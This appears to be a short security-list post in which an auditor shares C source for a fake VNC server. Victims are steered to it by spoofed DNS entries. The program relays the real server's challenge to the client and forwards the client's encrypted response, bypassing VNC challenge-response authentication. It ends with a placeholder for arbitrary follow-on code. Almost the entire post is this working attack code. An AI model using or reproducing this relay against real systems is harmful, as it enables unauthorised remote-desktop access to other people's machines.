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VNC game




This is one piece of code I used in a security audit. 

In it, we got to fake entries in the DNS server of the machines
accessing one VNC server (inside the audited internal network), so I
just wrote this little troyan to demonstrate how we could bypass the
challenge - response mecanism imposed by VNC to protect password from
being sniffed.

I hope it can be useful for someone X-)


#include <netinet/in.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>

#define VNCPORT 5900
#define VNCSERVER "x.x.x.x"
#define QUEUE 8
#define BUFSIZ 512

typedef char rfbProtocolVersionMsg[13];
#define sz_rfbProtocolVersionMsg 12

int main (int argc, char **argv) {

	int sockfd, clientfd, vncfd;
	int nbytes = 0;
	struct sockaddr_in server, client, vnc;
	int len = sizeof (client);
	char buf [BUFSIZ];
	
	if ( (sockfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
		perror ("socket");
		exit (-1);
	}

	bzero (&server, sizeof (server) );
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = htonl (INADDR_ANY);
	server.sin_port = htons (VNCPORT);
	
	/* this is the fake VNC server */
	if (bind (sockfd, (struct sockaddr *) &server, 
        sizeof (server) ) == -1) {
		perror ("bind");
		exit (-1);
	}

	listen (sockfd, QUEUE);

	if ( (clientfd = accept (sockfd, 
        (struct sockaddr *) &client, &len) ) == -1) {
		perror ("accept");
		exit (-1);
	}

	strcpy (buf, "RFB 003.003\n");
	
	/* we must send VNC version number (from protocol) */
	if (write (clientfd, buf, strlen (buf) ) < strlen (buf) ) {
		perror ("write");
		exit (-1);
	}

	/* we also must read VNC version number (from protocol) */
	if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
		perror ("read");
		exit (-1);
	}

	buf [nbytes] = 0;
	printf ("version -> %s\n", buf);
	
	buf [0] = 0x00;
	buf [1] = 0x00;
	buf [2] = 0x00;
	buf [3] = 0x02;

	/* we send the authentication method code to the client */
	if (write (clientfd, buf, 4) < 4) {
		perror ("write");
		exit (-1);
	}
	
	if ( (vncfd = socket (AF_INET, SOCK_STREAM, 0) ) == -1) {
		perror ("socket");
		exit (-1);
	}

	bzero (&vnc, sizeof (vnc) );
	vnc.sin_family = AF_INET;
	vnc.sin_addr.s_addr = inet_addr (VNCSERVER);
	vnc.sin_port = htons (VNCPORT);

	/* we connect to the real VNC server */
	if (connect (vncfd, (struct sockaddr *) &vnc, 
        sizeof (vnc) ) == -1) {
		perror ("connect");
		exit (-1);
	}

	/* again, we read version number from the VNC server */
	if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
		perror ("read");
		exit (-1);
	}

	strcpy (buf, "RFB 003.003\n");
	
	/* and we send ours */
	if (write (vncfd, buf, strlen (buf) ) < strlen (buf) ) {
		perror ("write");
		exit (-1);
	}

	/* we now read authenticarion method code from VNC server */
	if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
		perror ("read");
		exit (-1);
	}

	/* here is the challenge from server */
	if ( (nbytes = read (vncfd, buf, BUFSIZ) ) <= 0) {
		perror ("read");
		exit (-1);
	}
	
	/* we send the challenge to the victim client */
	if (write (clientfd, buf, 16) < 16) {
		perror ("write");
		exit (-1);
	} 

	/* we have the encrypted password from the client */
	if ( (nbytes = read (clientfd, buf, BUFSIZ) ) <= 0) {
		perror ("read");
		exit (-1);
	}

	/* we send the encrypted password to the VNC server */
	if (write (vncfd, buf, 16) < 16) {
		perror ("write");
		exit (-1);
	} 

	/* we read the result from the authentication process */
	if (read (vncfd, buf, BUFSIZ) < 4) {
		perror ("read");
		exit (-1);
	}

	/* at this point we should be authenticated */
        /* place whatever code you want here */

	close (clientfd);
	close (sockfd);
	close (vncfd);

	return 0;
}



------------------------------------------------------------
			

Rafael San Miguel Carrasco
rsmc@tid.es

Division de Infraestructura y Seguridad en Redes IP
Telefonica I+D

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